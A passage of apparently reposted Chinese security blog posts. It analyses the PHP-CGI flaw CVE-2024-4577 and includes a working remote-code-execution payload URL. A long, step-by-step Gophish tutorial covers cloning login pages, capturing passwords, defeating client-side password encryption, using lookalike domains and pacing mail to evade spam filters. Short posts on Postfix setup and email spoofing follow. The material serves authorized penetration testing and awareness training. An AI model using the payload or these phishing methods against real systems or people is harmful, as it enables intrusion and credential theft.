使用php://input流接收POST请求传入的参数实现RCE``

1
{host}/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input

image

0x03 漏洞背景

PHP的SAPI(Server Application Programming Interface)是PHP为了在不同服务器环境中运行而提供的一套应用程序编程接口。SAPI定义了PHP如何与其所在环境的Web服务器或其它类型的服务器进行交互。简而言之,SAPI是PHP与服务器软件通信的桥梁。

在PHP中,通常有三种主流的SAPI实现方式:

PHP-FPM:这是一种FastCGI协议的解析器,它的主要任务是接收来自Web服务器,按照FastCGI协议格式封装的请求数据,并将其传递给PHP解释器进行处理。

mod_php****:这是Apache服务器的一个模块,专门用于处理PHP和Apache之间的数据交换工作。

PHP-CGI:它具备两种模式的交互能力,既可以作为CGI程序运行,也可以作为FastCGI服务运行。PHP-CGI在以CGI模式运行时爆出了安全漏洞CVE-2012-1823 。

发现漏洞的团队也用了这个趣图来比喻这三种SAPI。

image

回顾CVE-2012-1823这一PHP CGI环境下的安全缺陷,Web服务器将HTTP请求解析后转发给PHP脚本。以http://host/cgi.php?a=b为例,该请求可能在命令行中以php.exe cgi.php a=b的形式被处理。

根据RFC3875的规范,如果查询字符串内缺少未解码的等号,那么整个查询字符串应当被视为CGI的参数进行传递。这便意味着,如果URL中的查询字符串部分省略了等号,它将未经适当处理就被传递给php-cgi,为攻击者提供了注入非法命令行参数的机会。要有效利用这一漏洞,需了解php-cgi支持哪些命令行参数。

image

使用-d参数来指定配置项的值实现RCE:allow_url_include选项如果被设置为On,PHP将允许包含(include)通过URL指定的文件,auto_prepend_file%3dphp%3a//input:这个参数设置auto_prepend_file配置项,使其指向php://input流。php://input是一个可以读取通过POST方法发送到脚本的原始数据的流。通过设置这个配置,攻击者可以控制PHP脚本执行前自动包含的文件,这里实际上是包含了通过POST发送的数据。

image

0x04 漏洞原理

CVE-2024-4577是依托于Windows系统中字符编码转换的Best-Fit特性对CVE-2012-1823的绕过。Windows系统中字符编码转换的Best-Fit特性是指Windows操作系统在处理不同字符编码集之间的转换时使用的一种匹配机制。当系统中存在无法直接映射到目标编码集的字符时,Best-Fit特性会尝试寻找一个在语义或外观上最接近的字符来进行替代显示或处理。

这种特性在多语言支持和国际化软件的开发中非常重要,因为它可以提高不同语言环境下用户界面的可读性和一致性。然而,在某些情况下,Best-Fit特性也可能带来安全隐患,尤其是在处理来自不可信来源的输入时。例如,在Web应用中,如果攻击者能够利用Best-Fit特性将特殊字符转换为具有不同语义的字符,就可能绕过安全检查,导致安全漏洞,如这次的CVE-2024-4577就是利用了%ad这个特殊字符,通过Best-Fit匹配到的是连字符(”-“)。

查看这次补丁的commit来分析为什么是连字符(”-“):

1
https://github.com/php/php-src/commit/4dd9a36c16#diff-680b80075cd2f8c1bbeb33b6ef6c41fb1f17ab98f28e5f87d12d82264ca99729R1798

image

PHP的源代码中原先已经实现了对特定字符(如连字符-)的过滤逻辑,这是对CVE-2012-1823的修复代码,如下是CVE-2012-1823的poc,对比CVE-2024-4577的poc可以看到,主要差别在于(连字符-)变成了%AD。

image

image

通过使用%ad代替常规的连字符-,绕过了原本应该阻止参数传递的安全机制,导致攻击者能够成功注入并执行非法的参数,为了修复CVE-2024-4577,在最新的代码更新中,考虑到了Windows系统中Best-Fit特性的影响,将所有高于0x80的字符也纳入了限制范围。代码注释中对此也进行了详细说明,阐述了采取这一措施的背景。

在CVE-2024-4577的poc中可以看到多了一个参数选项cgi.force_redirect。因为PHP增加了一个默认开启的配置cgi.force_redirect=1,仅允许通过重定向规则的请求来执行PHP CGI,不允许直接访问执行,要绕过这一特性,可以采取以下方法:

既然已经通过-d参数成功修改了其他配置,那么同样可以直接使用-d参数将cgi.force_redirect的值改为0,从而关闭这一重定向规则限制。

image

默认配置的XAMPP受影响的原因:

在 \conf\extra\httpd-xampp.conf 中存在如下的配置项

1
2
3
4
5
6
7
8
9
ScriptAlias /php-cgi/ "/xampp/php/"
<Directory "/xampp/php">
AllowOverride None
Options None
Require all denied
<Files "php-cgi.exe">
Require all granted
</Files>
</Directory>

ScriptAlias指令的意义是当用户访问网站的/php-cgi/路径时,将请求映射到了本地的/xampp/php/目录。这个目录包含了PHP环境的所有文件和组件,而该目录下就包含有php-cgi.exe程序。

当我们使用最早公开的poc,发现并不能复现

1
2
/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input

image

原因就是为了验证请求是通过Web服务器的Action指令发起的,而不是用户直接对php-cgi进行的请求,php-cgi设置了“cgi.force_redirect”这一安全特性。该特性默认开启,它确保只有遵循特定重定向流程的请求才会被php-cgi处理,这样可以有效避免直接对php-cgi的潜在不当访问,于是在POC中添加-d cgi.force_redirect=0关闭这个校验规则,就可绕过限制。

Gophish详细教程

gophish详细教程

本文转自 Ve99 并作补充

声明:
利用钓鱼网站骗取银行卡或信用卡账号、密码等私人资料属于非法行为,请不要进行任何非授权的网络攻击
由于传播、利用本文所提供的信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任

Gophish简介

偶然发现了 gophish 这个钓鱼工具,可网上关于该工具的(中文)资料却寥寥无几。花了一些时间了解之后,发现这个工具真香,因此特意斥巨资 (时间就是金钱) 写了这篇个人认为比较详细的教程,希望可以帮到第一次接触这个工具的小伙伴。不足之处,还望各路大神批评!

Gophish 项目地址:https://github.com/gophish/gophish
Gophish 官网地址:https://getgophish.com/

Gophish:开源网络钓鱼工具包

Gophish 是为企业和渗透测试人员设计的开源网络钓鱼工具包。 它提供了快速,轻松地设置和执行网络钓鱼攻击以及安全意识培训的能力。

gophish 自带 web 面板,对于邮件编辑、网站克隆、数据可视化、批量发送等功能的使用带来的巨大的便捷
在功能上实现分块,令钓鱼初学者能够更好理解钓鱼工作各部分的原理及运用

安装包下载:https://github.com/gophish/gophish/releases

当前(2020.07.23)最新版本是 v0.10.1
gophish 可以运行在常见的操作系统上,下面分别介绍两大主流系统 Linux 与 Windows 上的安装及运行

Linux

根据自身操作系统的版本下载相应的安装包
gophish-v0.10.1-linux-32bit.zip
gophish-v0.10.1-linux-64bit.zip

使用wget命令下载到本地

1
2
3
4
//32bit
root@ubuntu:~$ wget https://github.com/gophish/gophish/releases/download/v0.10.1/gophish-v0.10.1-linux-32bit.zip
//64bit
root@ubuntu:~$ wget https://github.com/gophish/gophish/releases/download/v0.10.1/gophish-v0.10.1-linux-64bit.zip

这里以 64 位 Ubuntu 系统为例:
下载完成后,利用unzip命令进行解压

1
root@ubuntu:~$ mkdir gophishroot@ubuntu:~$ unzip gophish-v0.10.1-linux-64bit.zip -d ./gophish

修改配置文件:

1
root@ubuntu:~$ cd gophish

若需要远程访问后台管理界面,将listen_url修改为0.0.0.0:3333,端口可自定义。(这项主要针对于部署在服务器上,因为一般的 Linux 服务器都不会安装可视化桌面,因此需要本地远程访问部署在服务器上的 gophish 后台)
如果仅通过本地访问,保持127.0.0.1:3333即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@ubuntu:~$ vi config.json
{
//后台管理配置
"admin_server": {
"listen_url": "0.0.0.0:3333", // 远程访问后台管理
"use_tls": true,
"cert_path": "gophish_admin.crt",
"key_path": "gophish_admin.key"
},
"phish_server": {
"listen_url": "0.0.0.0:80",
"use_tls": false,
"cert_path": "example.crt",
"key_path": "example.key"
},
"db_name": "sqlite3",
"db_path": "gophish.db",
"migrations_prefix": "db/db_",
"contact_address": "",
"logging": {
"filename": "",
"level": ""
}
}

运行 gophish:
运行 gophish 脚本

1
root@ubuntu:~$ ./gophish

访问后台管理系统:
本地打开浏览器,访问https://ip:3333/ (注意使用 https 协议)
可能会提示证书不正确,依次点击 高级继续转到页面 ,输入默认账密进行登录:admin/gophish

注:最新版本的 gophsih(v0.11.0) 删除了默认密码 “ gophish”。取而代之的是,在首次启动 Gophish 时会随机生成一个初始密码并将其打印在终端中
详情见:https://github.com/gophish/gophish/releases/tag/v0.11.0

此处建议,如果是部署在公网服务器上,尽量登录后在功能面板Account Settings处修改高强度密码

如果依旧访问不到后台管理系统,有可能是服务器未对外开放 3333 端口,可查看防火墙策略、配置 iptables 等方式自检

image

访问钓鱼界面:
本地打开浏览器,访问http://ip:80/
由于我们还未配置钓鱼页面,提示小段的404 page not found说明运行正常

image

至此,已完成了 Linux 下 gophish 的安装以及相关配置,并且运行起来了。
另外我在实践中遇到过一个小问题,当仅仅使用命令./gophish来启动 gophish 时,经过一段时间会自动掉线(脚本终止运行)
所以需要长期保持运行时,可以结合nohup&来启动 gophish,保持后台稳定运行
具体命令:

1
root@ubuntu:~$ nohup ./gophish &

Windows

关于 gophish 的 Windows 平台安装包仅有 64 位的,如果是 32 的 win 可能会不兼容(未测试),不过现在的 PC 大多数都是 64 位了,因此还是具有普遍性

下载安装包:
gophish-v0.10.1-windows-64bit.zip
下载完成后,使用压缩工具解压到文件夹中

image

(可选)修改配置文件:
如果有远程访问 gophish 的后台管理系统的需求,则修改配置文件。具体参考 Linux 下修改 gophish 配置文件
使用编辑器打开config.json文件,修改字段listen_url的值为0.0.0.0:3333 (默认为127.0.0.1:3333,仅本地访问),端口可自定义

运行 gophish:
双击目录下的gophish.exe启动 gophish,这里需要保持小黑框不被关闭,关闭则脚本终止(如果看着碍眼可以自行搜索后台运行的方法)

image

访问后台管理系统:
本地浏览器访问:https://127.0.0.1:3333https:// 远程 ip:3333 (注意使用 https 协议)
输入默认账密进行登录:admin/gophish

注:最新版本的 gophsih(v0.11.0) 删除了默认密码 “ gophish”。取而代之的是,在首次启动 Gophish 时会随机生成一个初始密码并将其打印在终端中
详情见:https://github.com/gophish/gophish/releases/tag/v0.11.0

image

访问钓鱼界面:
本地打开浏览器,访问http://127.0.0.1:80/http:// 远程 ip:80/
由于我们还未配置钓鱼页面,提示小段的404 page not found说明运行正常

image

至此完成了 gophish 在 Windows 平台下的安装配置及运行

由于后台管理系统是不区分操作系统的,因此不区分 Linux 和 Windows 来介绍各功能

进入后台后,左边的栏目即代表各个功能,分别是Dashboard 仪表板Campaigns 钓鱼事件Users & Groups 用户和组Email Templates 邮件模板Landing Pages 钓鱼页面Sending Profiles 发件策略六大功能
由于实际使用中并不是按照该顺序来配置各个功能,因此下面通过实际使用顺序来详细介绍各功能的使用方法

Sending Profiles 发件策略

Sending Profiles 的主要作用是将用来发送钓鱼邮件的邮箱配置到 gophish

点击New Profile新建一个策略,依次来填写各个字段
Name:
Name 字段是为新建的发件策略进行命名,不会影响到钓鱼的实施,建议以发件邮箱为名字,例如如果使用 qq 邮箱来发送钓鱼邮件,则 Name 字段可以写xxxxxx@qq.com

image

Interface Type:
Interface Type 是接口类型,默认为SMTP 类型且不可修改,因此需要发件邮箱开启 SMTP 服务
From:
From 是发件人,即钓鱼邮件所显示的发件人。(在实际使用中,一般需要进行近似域名伪造)这里为了容易理解,就暂时以 qq 邮箱为例,所以 From 字段可以写:test<xxxxxx@qq.com>

image

Host:
Host 是 smtp 服务器的地址,格式是 smtp.example.com:25,例如 qq 邮箱的 smtp 服务器地址为smtp.qq.com

image

Username:
Username 是 smtp 服务认证的用户名,如果是 qq 邮箱,Username 则是自己的 qq 邮箱号xxxx@qq.com
Password:
Password 是 smtp 服务认证的密码,例如 qq 邮箱,需要在登录 qq 邮箱后,点击 设置 - 账户 - 开启 SMPT 服务 生成授权码,Password 的值则可以填收到的授权码

image

(可选)Email Headers:
Email Headers 是自定义邮件头字段,例如邮件头的X-Mailer字段,若不修改此字段的值,通过 gophish 发出的邮件,其邮件头的 X-Mailer 的值默认为 gophish

image

设置好以上字段,可以点击Send Test Email来发送测试邮件,以检测 smtp 服务器是否认证通过

image

成功收到测试邮件:

image

至此,发件邮箱的配置已经完成。当然,在实际钓鱼中,不可能使用自己的 qq 邮箱去发送钓鱼邮件。一是暴露自身身份,且邮件真实性低,二是 qq 邮箱这类第三方邮箱对每个用户每日发件数存在限制。
因此,如果需要大批量去发送钓鱼邮件,最好的方式是使用自己的服务器,申请近似域名,搭建邮件服务器来发件

Landing Pages 钓鱼页面

完成钓鱼邮件的编写后,下一步则需要设计由邮件中超链接指向的钓鱼网页,点击New Page新建页面
Name:
Name 是用于为当前新建的钓鱼页面命名,可以简单命名为钓鱼页面 1

image

Import Site:
与钓鱼邮件模板的编辑一样,gophish 为钓鱼页面的设计也提供了两种方式,第一种则是Import Site
点击 Import Site 后,填写被伪造网站的 URL,再点击 Import,即可通过互联网自动抓取被伪造网站的前端代码
这里以伪造 XX 大学电子邮箱登录界面为例,在 Import Site 中填写https://mail.XX.edu.cn/cgi-bin/loginpage,并点击import

image

内容编辑框:
内容编辑框是编辑钓鱼页面的第二种方法,但是绝大多数情况下,它更偏向于用来辅助第一种方法,即对导入的页面进行源码修改以及预览。

image

由于编码的不同,通常直接通过 Import Site 导入的网站,其中文部分多少存在乱码现象,这时候就需要查看源码并手动修改过来
例如预览刚才导入的 XX 大学邮箱登录界面,就发现在多处存在乱码现象

image

(重点)Capture Submitted Data:
通常,进行钓鱼的目的往往是捕获受害用户的用户名及密码,因此,在点击 Save Page 之前,记得一定要勾选Capture Submitted Data
当勾选了Capture Submitted Data后,页面会多出一个Capture Passwords的选项,显然是捕获密码。通常,可以选择勾选上以验证账号的可用性。如果仅仅是测试并统计受害用户是否提交数据而不泄露账号隐私,则可以不用勾选
另外,当勾选了Capture Submitted Data后,页面还会多出一个Redirect to,其作用是当受害用户点击提交表单后,将页面重定向到指定的 URL。可以填写被伪造网站的 URL,营造出一种受害用户第一次填写账号密码填错的感觉
(一般来说,当一个登录页面提交的表单数据与数据库中不一致时,登录页面的 URL 会被添加上一个出错参数,以提示用户账号或密码出错,所以在Redirect to中,最好填写带出错参数的 URL)
因此,令此处的 Redirect to 的值为https://mail.XX.edu.cn/cgi-bin/loginpage?errtype=1

image

填写好以上参数,点击Save Page,即可保存编辑好的钓鱼页面

踩坑汇总

(必看)经验之谈 · 注意事项
在导入真实网站来作为钓鱼页面时,绝大多数情况下并非仅通过 Import 就能够达到理想下的克隆,通过多次实践,总结出以下几点注意事项

  1. 【捕获不到提交的数据】导入后要在 HTML 编辑框的非 Source 模式下观察源码解析情况,如果明显发现存在许多地方未加载,则有可能导入的源码并非页面完全加载后的前端代码,而是一个半成品,需要通过浏览器二次解析,渲染未加载的 DOM。这种情况下,除非能够直接爬取页面完全加载后的前端代码,否则无法利用 gophish 进行钓鱼,造成的原因是不满足第 2 点。
  2. 【捕获不到提交的数据】导入的前端源码,必须存在严格存在<form method="post" ···><input name="aaa" ··· /> ··· <input type="submit" ··· /></form>结构,即表单(POST 方式)— Input 标签(具有 name 属性)Input 标签(submit 类型)— 表单闭合的结构,如果不满足则无法捕获到提交的数据
  3. 【捕获不到提交的数据】在满足第 2 点的结构的情况下,还需要求<form method="post" ···>浏览器解析渲染后(即预览情况下)不能包含action属性,或者action 属性的值为空。否则将会把表单数据提交给 action 指定的页面,而导致无法被捕获到
  4. 【捕获数据不齐全】对于需要被捕获的表单数据,除了input 标签需要被包含在<form>中,还需满足该<input>存在name属性。例如<input name="username">, 否则会因为没有字段名而导致value被忽略
  5. 【密码被加密】针对https页面的 import,通常密码会进行加密处理,这时需要通过审计导入的前端代码,找到加密的JavaScript 函数(多数情况存在于单独的js 文件中,通过 src 引入),将其在 gophish 的 HTML 编辑框中删除,阻止表单数据被加密

以上 5 点是在实践中总结出来的宝贵经验,或许还有其他许多坑未填,但所有的坑通常都围绕在<form><input /></form>结构中,所以如果遇到新坑,先将该结构排查一遍,还是不行,再另辟蹊径

Email Templates 钓鱼邮件模板

完成了邮箱配置之后,就可以使用 gophish 发送邮件了。所以,接下来需要去编写钓鱼邮件的内容
点击New Template新建钓鱼邮件模板,依次介绍填写各个字段

Name:
同样的,这个字段是对当前新建的钓鱼邮件模板进行命名。可以简单的命名为:邮件模板 1

image

Import Email:
gophish 为编辑邮件内容提供了两种方式,第一种就是Import Email

用户可以先在自己的邮箱系统中设计好钓鱼邮件,然后发送给自己或其他伙伴,收到设计好的邮件后,打开并选择导出为 eml 文件或者显示邮件原文,然后将内容复制到 gophish 的 Import Email中,即可将设计好的钓鱼邮件导入

image

需要注意,在点击Import之前需要勾选上Change Links to Point to Landing Page,该功能实现了当创建钓鱼事件后,会将邮件中的超链接自动转变为钓鱼网站的 URL
Subject:
Subject 是邮件的主题,通常为了提高邮件的真实性,需要自己去编造一个吸引人的主题。这里简单填写成“第一次钓鱼测试”

image

内容编辑框:
内容编辑框是编写邮件内容的第二种模式,内容编辑框提供了TextHTML两种模式来编写邮件内容,使用方式与正常的编辑器无异。
其中 HTML 模式下的预览功能比较常用到,在编辑好内容后,点击预览,就可以清晰看到邮件呈现的具体内容以及格式

image

Add Tracking Image:
Add Tracking Image 是在钓鱼邮件末添加一个跟踪图像,用来跟踪受害用户是否打开了收到的钓鱼邮件。默认情况下是勾选的,如果不勾选就无法跟踪到受害用户是否打开了钓鱼邮件
(注:跟踪受害用户是否点击钓鱼链接以及捕捉提交数据不受其影响)
Add Files:
Add Files 是在发送的邮件中添加附件,一是可以添加相关文件提高邮件真实性,二是可以配合免杀木马诱导受害用户下载并打开

当填写完以上字段后,点击Save Template,就能保存当前编辑好的钓鱼邮件模板

Users & Groups 用户和组

当完成上面三个功能的内容编辑,钓鱼准备工作就已经完成了 80%,Users & Groups 的作用是将钓鱼的目标邮箱导入 gophish 中准备发送
点击New Group新建一个钓鱼的目标用户组
Name:
Name 是为当前新建的用户组命名,这里简单命名为目标 1 组

image

Bulk Import Users:
Bulk Import Users 是批量导入用户邮箱,它通过上传符合特定模板的CSV 文件来批量导入目标用户邮箱
点击旁边灰色字体的Download CSV Template可以下载特定的 CSV 模板文件。其中,模板文件的Email是必填项,其余的Frist NameLast NamePosition可选填

image

Add:
除了批量导入目标用户的邮箱,gophish 也提供了单个邮箱的导入方法,这对于开始钓鱼前,钓鱼组内部测试十分方便,不需要繁琐的文件上传,直接填写Email即可,同样其余的Frist NameLast NamePosition可选填

image

编辑好目标用户的邮箱后,点击Save Changes即可保存编辑好的目标邮箱保存在 gophish 中

Campaigns 钓鱼事件

Campaigns 的作用是将上述四个功能Sending ProfilesEmail TemplatesLanding PagesUsers & Groups联系起来,并创建钓鱼事件
在 Campaigns 中,可以新建钓鱼事件,并选择编辑好的钓鱼邮件模板,钓鱼页面,通过配置好的发件邮箱,将钓鱼邮件发送给目标用户组内的所有用户

点击New Campaign新建一个钓鱼事件

Name:
Name 是为新建的钓鱼事件进行命名,这里简单命名为第一次钓鱼

image

Email Template:
Email Template 即钓鱼邮件模板,这里选择刚刚上面编辑好的钓鱼邮件模板邮件模板 1

image

Landing Page:
Landing Page 即钓鱼页面,这里选择刚刚上面编辑好的名为钓鱼页面 1的 XX 大学邮箱登录页面的钓鱼页面

image

(重点)URL:
URL 是用来替换选定钓鱼邮件模板中超链接的值,该值指向部署了选定钓鱼页面的 url 网址(这里比较绕,下面具体解释一下,看完解释再来理解这句话)

简单来说,这里的 URL 需要填写当前运行 gophish 脚本主机的 ip
因为启动 gophish 后,gophish 默认监听了333380端口,其中3333端口是后台管理系统,而80端口就是用来部署钓鱼页面的。
当 URL 填写了http:// 主机 IP/,并成功创建了当前的钓鱼事件后。gophish 会在主机的80端口部署当前钓鱼事件所选定的钓鱼页面,并在发送的钓鱼邮件里,将其中所有的超链接都替换成部署在80端口的钓鱼页面的 url

所以,这里的 URL 填写我本地当前运行 gophish 主机的 IP 对应的 url,即http://192.168.141.1/

image

另外,需要保证的是该 URL 对于目标用户组的网络环境是可达的。例如填写内网 IP,则该钓鱼事件仅能够被内网目标用户所参与,而外网目标用户网络不可达。如果部署了 gophish 的是公网服务器,URL 填写公网 IP域名,则需要保证目标用户的内网环境能够访问该公网服务器的 IP(有些企业的内网环境会设定防火墙策略,限制内网用户能够访问的公网 IP)
Launch Date:
Launch Date 即钓鱼事件的实施日期,通常如果仅发送少量的邮箱,该项不需要修改。如果需要发送大量的邮箱,则配合旁边的Send Emails By效果更佳

image

(可选)Send Emails By:
Send Emails By 配合Launch Date使用,可以理解为当前钓鱼事件下所有钓鱼邮件发送完成的时间。Launch Date作为起始发件时间,Send Emails By 作为完成发件时间,而它们之间的时间将被所有邮件以分钟为单位平分

例如,Launch Date的值为2020.07.22,09:00Send Emails By的值为2020.07.22,09:04,该钓鱼事件需要发送50 封钓鱼邮件。
那么经过以上设定,从 9:00 到 9:04 共有 5 个发件点,这 5 个发件点被 50 封邮件平分,即每个发件点将发送 10 封,也就是每分钟仅发送 10 封

这样的好处在于,当需要发送大量的钓鱼邮件,而发件邮箱服务器并未限制每分钟的发件数,那么通过该设定可以限制钓鱼邮件不受约束的发出,从而防止因短时间大量邮件抵达目标邮箱而导致的垃圾邮件检测,甚至发件邮箱服务器 IP 被目标邮箱服务器封禁
Sending Profile:
Sending Profile 即发件策略,这里选择刚刚编辑好的名为XXXXX@qq.com的发件策略

image

Groups:
Groups 即接收钓鱼邮件的目标用户组,这里选择刚刚编辑好的名为目标 1 组的目标用户组

image

填写完以上字段,点击Launch Campaign后将会创建本次钓鱼事件(注意:如果未修改Launch Date,则默认在创建钓鱼事件后就立即开始发送钓鱼邮件)

image

Dashboard 仪表板

当创建了钓鱼事件后,Dashboard 会自动开始统计数据。统计的数据项包括邮件发送成功的数量及比率邮件被打开的数量及比率钓鱼链接被点击的数量及比率账密数据被提交的数量和比率以及收到电子邮件报告的数量和比率。另外,还有时间轴记录了每个行为发生的时间点

关于电子邮件报告,详情参考:
https://docs.getgophish.com/user-guide/documentation/email-reporting

image

需要注意的是,Dashboard 统计的是所有钓鱼事件的数据,而非单个钓鱼事件的数据,如果仅需要查看单个钓鱼事件的统计数据,可以在Campaigns中找到该钓鱼事件,点击View Results按钮查看

image

Results for 第一次钓鱼:

image

至此,一次在 gophish 发起的钓鱼事件所需实施步骤就已经全部完成,接下来就等着鱼儿上钩

查看捕获的数据

模拟目标用户的行为,打开上述发送的钓鱼邮件

image

点击超链接,跳转到部署好的钓鱼页面,发现与真实的 XX 大学邮箱登录界面无差别。(乱码问题以通过人工替换解决)观察网站的 URL,可以看到钓鱼邮件中的超链接指向的就是之前在新建Campaigns的表单中填写的URL,只不过后面多了一个rid 参数
这里的?rid=csF1qTj具有唯一性,即唯一指向打开的这封钓鱼邮件,换句话说csF1qTj是为这封邮件的收件人唯一分配的
如果此次名为第一次钓鱼的 Campaigns 选择的目标存在多个目标邮箱,则 gophish 会为每一封目标邮件分配一个唯一的 rid 值,以此来区别不同的收件人

image

输入用户名密码,test/test 并点击提交

image

点击提交后,部署的钓鱼页面重定向到了真实的 XX 大学邮箱系统页面,且添加上了出错参数errtype=1,使账号或密码错误的提示显示出来,达到迷惑受害用户的作用

image

在 gophish 中查看捕获的数据 依次点击 Campaigns - 选择第一次钓鱼的 View Results 按钮 - 展开 Details - 展开 Submitted Data
可以看到在钓鱼页面提交的账密信息

image

以上即 gophish 功能面板中所有功能的介绍,通过以上功能的学习和利用,已经可以实施较为基础的网络钓鱼了。而Sending Profiles 发件策略Landing Pages 钓鱼页面Email Templates 邮件模板Users & Groups 用户和组Campaigns 钓鱼事件Dashboard 仪表板的顺序也是在实际使用中需要按照的顺序,如果前一步不能配置好,将会影响到后续的功能达不到想要的效果。因此,严格遵循该步骤不说可以事半功倍,至少能避免在成为 “捕鱼人” 的道路上迷踪失路。

熟悉了上面的各项功能,虽然可以进行简单的钓鱼,但对于仿真度可信度要求较高的网络钓鱼还是不够的。但凡具有一定网络安全意识的人一般情况下都不会上钩,所以下面采用一个实际的案例来看看一个常规的钓鱼还需要额外做哪些工作。

事情是这样的,一天,客户要求对公司的人员进行一次为期 7 天的网络钓鱼,来提高员工的网络安全意识,避免在真正的 HW 行动中因为钓鱼而使系统被攻陷。所以,一场漫长的网络钓鱼就开始在偷偷被谋划准备中了 ···

因为涉及公司信息,故以文字和少量图片来叙述。主要是学习一些方式方法,并在实际需要中提供一些思路
本文提到的所有方式方法请在得到授权的前提下进行,并确保仅以提高员工安全意识为目的
再次提醒,一切未经授权的网络攻击均为违法行为,互联网非法外之地

前期准备

近似域名:
搜寻了一番,我们锁定了客户公司具有登录功能的门户网站,打算通过它来钓员工的 OA 门户账号密码。为了提高可信度,我们根据门户网站的域名abclmn.com申请了近似域名abcimn.com,因为 i 的大写 I,与门户网站的 l(L) 在某些字体下看起来是没有区别的,所以能够达到一定的仿真效果

搭建邮箱服务器:
有了近似域名后,我们将域名映射到服务器上。然后在服务器上利用postfix+dovecot搭建了邮箱服务,因为只需要发信,所以仅开启了SMTP服务。这样,我们就能够以xxx@abcI(i)mn.com为发件人来发邮件了,当然客户公司的邮箱系统账号是xxx@abcl(L)mn.com的形式,因此可以达到以假乱真的效果。

选择邮件主题:
经过一番信息收集,我们找到了一则通知是关于客户公司近期正在推广新的信息公示系统,并附上了信息公示系统的 URL(无需身份认证),所以可以利用这一点编辑一封主题是关于推广新信息公示系统的钓鱼邮件,诱导公司员工先通过我们的钓鱼页面登录 OA 门户,再通过重定向,定位到新的信息公示系统。这样,既能捕获到员工的 OA 账号密码,又能够有效降低可疑度,形成一个闭环

image

确定发件人:
准备的差不多后,客户发来了一份员工及部门的邮箱列表,通过筛选,结合公司情况,我们确定了一个技术部的邮箱,并伪造成 “技术部 <jishubu@abcI(i)mn.com>“ 来发送钓鱼邮件,保证了钓鱼邮件的权威性和可信度

配置 gophish

将门户页面、钓鱼邮件模板、目标用户邮箱导入到 gophisih 中保存,并在 Sending Profiles 配置好我们搭建的邮箱服务使其可以正常发件并不被丢进垃圾箱、过滤箱等。
配置完成后,创建钓鱼事件,因为发送量较大,需要设定Send Emails By 来限制每分钟的发信量,我们设定了10 封 / 分钟的速度来发送,避免被识别成垃圾邮件。
完成所有字段填写后启动钓鱼事件,就开始缓缓地发送钓鱼邮件了 ···

查看钓鱼结果

虽然上钩的只有46个用户,占发件数量的2%,但是在真实场景下,哪怕仅有1个真实用户上钩,对于系统来说就足够造成巨大的威胁,这也是为什么社会工程能够成为一项重要攻击手段的原因

image

自己动手搭建smtp邮箱服务器,内网向外网发送邮件

自己动手搭建smtp邮箱服务器,内网向外网发送邮件

本文转自 高老师 并作补充

(1).移除sendmail,并安装postfix

1
2
3
rpm -e sendmail 或者 yum remove sendmail

yum install postfix

(2).配置hostname为mail.nidey.com,可以自定义

1
2
3
vim /etc/hostname

mail.nidey.com

(3).配置hosts,ip就是本地的局域网ip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
vim /etc/hosts

192.168.1.101 mail.nidey.com

## (4).配置postfix

```bash
vim /etc/postfix/main.cf

##基础配置
myhostname = mail.nidey.com
mydomain = nidey.com
myorigin = $mydomain
inet_interfaces = all
inet_protocols = all
mydestination = $myhostname, $mydomain

##SMTP账户认证配置
smtpd_client_restrictions = permit_sasl_authenticated #指定可以向postfix发起SMTP连接的客户端的主机名或ip地址
smtpd_recipient_restrictions = permit_mynetworks, permit_sasl_authenticated #此处permit_sasl_authenticated意思是允许通过了sasl认证的所有用户
smtpd_sasl_auth_enable = yes #指定postfix使用sasl验证 通俗的将就是启用smtp并要求进行账号、密码校验
smtpd_sasl_security_options = noanonymous #取消smtp的匿名登录 此项默认值为noanonymous 此项请务必指定为noanonymous

(5).安装sasldb、saslauthd,用来创建smtp账户

1
yum -y install cyrus-sasl cyrus-sasl-lib cyrus-sasl-plain cyrus-sasl-devel

(6).编辑sasl2配置

1
2
3
4
5
6
32位  vim  /usr/lib/sasl2/smtpd.conf
64位 vim /etc/sasl2/smtpd.conf

pwcheck_method: auxprop
auxprop_plugin: sasldb
mech_list: plain login CRAM-MD5 DIGEST-MD5

(7).创建smtp账号,自动让你输入密码

1
saslpasswd2 -c -u nidey.com 392223903

上面生成的邮箱账号:392223903@nidey.com

(8).其他命令

1
2
sasldblistusers2   查看所有用户
saslpasswd2 -d 392223903@nidey.com 删除用户

(9).重置文件权限,否则postfix读取不到

1
chmod 755 /etc/sasldb2

(10).重启postfix 软件

1
2
postfix stop
postfix start

然后就可以用smtp协议+25端口发出邮件了。

邮件伪造原理和实践

邮件伪造原理和实践

本文转自 yanq 并作补充

1. smtp协议

smtp(Simple Mail Transfer Protocol)是用来发送邮件的协议,属于应用层协议的一种。SMTP的连接和发送过程如下:

  1. 建立TCP连接
  2. 客户端发送HELO或者EHLO命令以标识发件人自己的身份,服务器返回250 OK或者更详细一点的信息。
  3. 然后客户端发送MAIL命令,表明发件人邮箱地址, 服务器端以OK作为响应,表明准备接收
  4. 客户端发送RCPT命令,表明接收人邮箱地址,可以有多个RCPT行,服务器端以OK作为响应,表示愿意为收件人接收邮件
  5. 协商结束,发送邮件,用命令DATA发送,服务端会返回邮件发送成功与否的情况。

下面我们用一个telnet来模仿使用qq邮箱客户端发送一封邮件到gmail邮箱的过程:

image

发送结果:

image

上述我们使用qq邮箱服务器发送了邮件给gmail邮箱服务器,其架构如下:

image

2. SPF介绍

上一节我们是使用qq邮箱服务器来发送邮件的,那么我们能够本地直接发送邮件给gmail服务器呢?答案是可以的,那我们能否在本地发送邮件时假装自己是xxx@qq.com呢?

这就涉及到了邮件伪造问题,我们可以发送邮件给目标邮件服务器,然后声称自己是xxx@qq.com,因为SMTP 协议本身也不要求对此声明做认证,这也就是钓鱼邮件的原理。

但是显然经过这么多年的发展,邮件服务器也不能什么都不管,什么都信任。

